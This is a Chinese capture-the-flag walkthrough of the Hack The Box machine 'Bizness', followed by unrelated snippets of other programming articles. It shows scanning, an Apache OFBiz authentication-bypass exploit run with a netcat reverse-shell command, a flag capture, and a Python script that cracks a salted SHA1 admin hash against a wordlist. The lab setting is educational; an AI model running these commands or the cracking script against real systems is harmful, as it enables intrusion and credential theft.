Hack The Box-Bizness

目录

信息收集

nmap

dirsearch

WEB

Get shell

提权

get user flag

get root flag

信息收集

nmap
端口扫描┌──(root㉿ru)-[~/kali/hackthebox]
└─# nmap -p- 10.10.11.252 --min-rate 10000 -oA port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 11:44 CST
Warning: 10.10.11.252 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.252
Host is up (0.25s latency).
Not shown: 64116 closed tcp ports (reset), 1415 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
46351/tcp open  unknownNmap done: 1 IP address (1 host up) scanned in 25.95 seconds┌──(root㉿ru)-[~/kali/hackthebox]
└─# cat port.nmap | head -10 | tail -4 | awk -F "/" '{print($1)}' | xargs -n 4 | sed 's/ /,/g'
22,80,443,46351

版本服务信息探测┌──(root㉿ru)-[~/kali/hackthebox]
└─# nmap -sCV -O -A -p 22,80,443,46351 10.10.11.252 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 11:50 CST
Nmap scan report for 10.10.11.252
Host is up (0.30s latency).PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp   open  ssl/http   nginx 1.18.0
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://bizness.htb/
| tls-nextprotoneg:
|_  http/1.1
|_http-server-header: nginx/1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
| tls-alpn:
|_  http/1.1
46351/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   256.88 ms 10.10.14.1
2   256.87 ms 10.10.11.252OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.09 seconds

1、对ip进行端口扫描以及版本信息探测2、在本地host文件中加入 bizness.htb 以便访问

dirsearch
┌──(root㉿ru)-[~/kali/hackthebox]
└─# dirsearch -u https://bizness.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/kali/hackthebox/reports/https_bizness.htb/__24-03-04_12-04-58.txtTarget: https://bizness.htb/[12:04:58] Starting:
[12:06:35] 200 -   11KB - /control/login
[12:06:35] 200 -   34KB - /control/
[12:06:35] 200 -   34KB - /control
[12:08:05] 200 -   21B  - /solr/admin/
[12:08:05] 200 -   21B  - /solr/admin/file/?file=solrconfig.xml
/control/login
/solr/admin/

WEB


主页没啥好看的!


当我们访问 /control/login 时,会跳转到 Apache OFBiz 登录页面!

┌──(root㉿ru)-[~/kali/hackthebox]
└─# searchsploit OFBiz
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Exploit Title                                                                                                                                                   |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache OFBiz - Admin Creator                                                                                                                                     | multiple/remote/12264.txt
Apache OFBiz - Multiple Cross-Site Scripting Vulnerabilities                                                                                                     | php/webapps/12330.txt
Apache OFBiz - Remote Execution (via SQL Execution)                                                                                                              | multiple/remote/12263.txt
Apache OFBiz 10.4.x - Multiple Cross-Site Scripting Vulnerabilities                                                                                              | multiple/remote/38230.txt
Apache OFBiz 16.11.04 - XML External Entity Injection                                                                                                            | java/webapps/45673.py
Apache OFBiz 16.11.05 - Cross-Site Scripting                                                                                                                     | multiple/webapps/45975.txt
Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)                                                                                            | java/webapps/48408.txt
ApacheOfBiz 17.12.01 - Remote Command Execution (RCE)                                                                                                            | java/webapps/50178.sh
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results


经过搜索,该框架存在身份验证绕过漏洞!我们利用payload!

Get shell

我们利用payload获取shell┌──(root㉿ru)-[~/tools/vuln/Apache_OFBiz_vuln/Apache-OFBiz-Authentication-Bypass]
└─# python3 exploit.py --url https://bizness.htb --cmd 'nc -e /bin/bash 10.10.14.24 1234'
[+] Generating payload...
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

利用payload获取shell!

使用nc进行监听,成功获取到shell!

提权

get user flag
首先我们使用python提高交互性whereis python
python3 -c 'import pty;pty.spawn("/bin/bash")'


ofbiz@bizness:~$ ls
ls
user.txt
ofbiz@bizness:~$ cat user.txt
cat user.txt
d28cd5d5d3e8a6db717e833a419b9b28
ofbiz@bizness:~$


get root flag
ofbiz@bizness:/$ ls -al /etc/passwd /etc/shadow
ls -al /etc/passwd /etc/shadow
-rw-r--r-- 1 root root   1432 Dec 20 10:48 /etc/passwd
-rw-r----- 1 root shadow  896 Dec 20 10:48 /etc/shadow
ofbiz@bizness:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/su
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

经过一番搜索发现opt目录下存在可疑文件!在 /opt/ofbiz/framework/resources/templates 目录下存在 AdminUserLoginData.xml 文件!

{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a

/opt/ofbiz/runtime/data/derby/ofbiz/seg0  在这个目录下查找到一些文件,查看特殊的文件发现 c54d0.dat 文件!

$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2ISHA:加密算法
d:加盐处理这里使用SHA算法加密的Hash,而且还进行了加盐处理,因此我们无法逆运算得到明文。我们只能使用脚本进行解密了!

#python脚本!import hashlib
import base64
import os
from tqdm import tqdmclass PasswordEncryptor:def __init__(self, hash_type="SHA", pbkdf2_iterations=10000):"""使用哈希类型和PBKDF2迭代初始化PasswordEncryptor对象。:param hash_type:要使用的哈希算法(默认为SHA)。:param pbkdf2_iterations:pbkdf2的迭代次数(默认值为10000)。"""self.hash_type = hash_typeself.pbkdf2_iterations = pbkdf2_iterationsdef crypt_bytes(self, salt, value):"""使用指定的哈希类型和salt隐藏密码。:param salt:加密中使用的salt。:param value:要加密的密码值。:return:加密后的密码字符串。"""if not salt:salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')hash_obj = hashlib.new(self.hash_type)hash_obj.update(salt.encode('utf-8'))hash_obj.update(value)hashed_bytes = hash_obj.digest()result = f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"return resultdef get_crypted_bytes(self, salt, value):"""获取密码的加密字节。:param salt:加密中使用的salt。:param value:要为其获取加密字节的密码值。:return:以字符串形式加密的字节。"""try:hash_obj = hashlib.new(self.hash_type)hash_obj.update(salt.encode('utf-8'))hash_obj.update(value)hashed_bytes = hash_obj.digest()return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')except hashlib.NoSuchAlgorithmException as e:raise Exception(f"Error while computing hash of type {self.hash_type}: {e}")# Example usage:
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = '/usr/share/wordlists/rockyou.txt'# 创建PasswordEncryptor类的实例
encryptor = PasswordEncryptor(hash_type)# 获取加载栏的单词列表中的行数
total_lines = sum(1 for _ in open(wordlist, 'r', encoding='latin-1'))# 使用加载栏在单词列表中循环,并检查匹配的密码
with open(wordlist, 'r', encoding='latin-1') as password_list:for password in tqdm(password_list, total=total_lines, desc="Processing"):value = password.strip()# 获取加密密码hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))# 与哈希进行比较if hashed_password == search:print(f'Found Password:{value}, hash:{hashed_password}')break  # Stop the loop if a match is found

密码:monkeybizness

get root and flag!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/513382.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

It is also possible that a host key has just been changed

问题:ssh失败,提示如上图 分析: ssh的key存在上图里的路径里。 解决:win10删这个文件C:\Users\admin\.ssh\known_hosts , linux删这个文件.ssh\known_hosts ,或者删除这个文件里的制定ip的那一行,例如“106.1.1.22 ecdsa-sha2-…

【快速上手QT】07-对话框QDialog

QDialog 今天讲一个我们这个系列的第一篇就提到的东西&#xff1a;QDialog。 相信经过前几篇的学习&#xff0c;大家应该是能够通过QT助手来对QDialog有个初步的了解。 我们就直接来测试一下。 #include "Zhetu.h"#include <qdebug.h> #include <QPushBu…

IntelliJ IDEA插件php golang python shell docker ignore UML plantuml等插件安装

IntelliJ IDEA插件php golang python shell docker ignore UML plantuml等插件安装 有的插件,需要代理才能搜索和下载 设置代理 不然插件搜索不到&#xff0c;也可能下载不了 Preferences -->Plugins --> Browse repositorise… --〉HTTP Proxy Settings… 选择 Manual…

Linux笔记--静态库和动态库

库是指在我们的应用中&#xff0c;有一些公共代码是需要反复使用&#xff0c;就把这些代码编译为"库"文件;在链接步骤中&#xff0c;链接器将从库文件取得所需的代码&#xff0c;复制到生成的可执行文件中。 Linux中常见的库文件有两种&#xff0c;一种.a为后缀&…

这回就好好聊聊Kotlin的泛型

公众号「稀有猿诉」 原文链接 这回就好好聊聊Kotlin的泛型 泛型(Generics)是静态强类型编程语言中非常强大的特性&#xff0c;可以极大的加强代码的复用&#xff0c;并增强类型安全&#xff0c;减少运行时的类型转换错误。在这篇文章就来详细的学习一下Kotlin中对泛型的…

EasyX的学习2

消息处理——漂亮的按钮(鼠标) 用到的函数 1.消息结构体变量类型&#xff1a;使用ExMessage ExMessage msg{ 0 }; 定义一个变量名为msg的ExMessage结构体变量并初始化为0 2.获取消息函数&#xff1a;peekmessage函数 //获取消息 peekmessage(&msg, EX_MOUSE); 两个参…

Batch Normalization和Layer Normalization和Group normalization

文章目录 前言一、Group normalization二、批量规范化(Batch Normalization)三、层规范化&#xff08;Layer Normalization&#xff09; 前言 批量规范化和层规范化在神经网络中的每个批次或每个层上进行规范化&#xff0c;而GroupNorm将特征分成多个组&#xff0c;并在每个组内…

表格制作一对多,多对多

<!-- <tr><td>第1行第1列</td><td>第1行第2列</td></tr><tr><td rowspan"4">第2行第1列</td><td colspan"2">第2行第2列</td><td colspan"3">第2行第2列</td>…

STM32CubeMX学习笔记8 -ADC

1. ADC简介 ADC 是Analog-to-Digital Converter的缩写。指模/数转换器或者模拟/数字转换器。是指将连续变量的模拟信号转换为离散的数字信号的器件。典型的模拟数字转换器将模拟信号转换为表示一定比例电压值的数字信号。简单地说就是将模拟电压值&#xff0c;转换成对应的肉眼…

力扣--动态规划152.乘积最大子数组

思路分析&#xff1a; 使用动态规划&#xff0c;定义一个二维数组dp&#xff0c;其中dp[i][0]表示以第i个元素结尾的乘积最大子数组的乘积&#xff0c;dp[i][1]表示以第i个元素结尾的乘积最小子数组的乘积。初始化dp数组的第一个元素为数组的第一个元素。遍历数组&#xff0c;…

c语言经典测试题11

1.题1 #include <stdio.h> int main() { int a[] {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}, *p a 5, *q NULL; *q *(p5); printf("%d %d\n", *p, *q); return 0; }上述代码的运行结果是什么呢&#xff1f; 我们来分析一下&#xff1a;我们创建了一个数…

《汇编语言》 第3版 (王爽)实验6解析

第7章 实验6解析 &#xff08;1&#xff09;.编程&#xff0c;完成问题7.9中的程序。 问题7.9 编程&#xff0c;将datasg段中每个单词的前4个字母改为大写字母。 assume cs:codesg,ss:stacksg,ds:datasgstacksg segment ;开辟了栈段空间&#xff0c;容量为16个字节dw 0,0,0,0…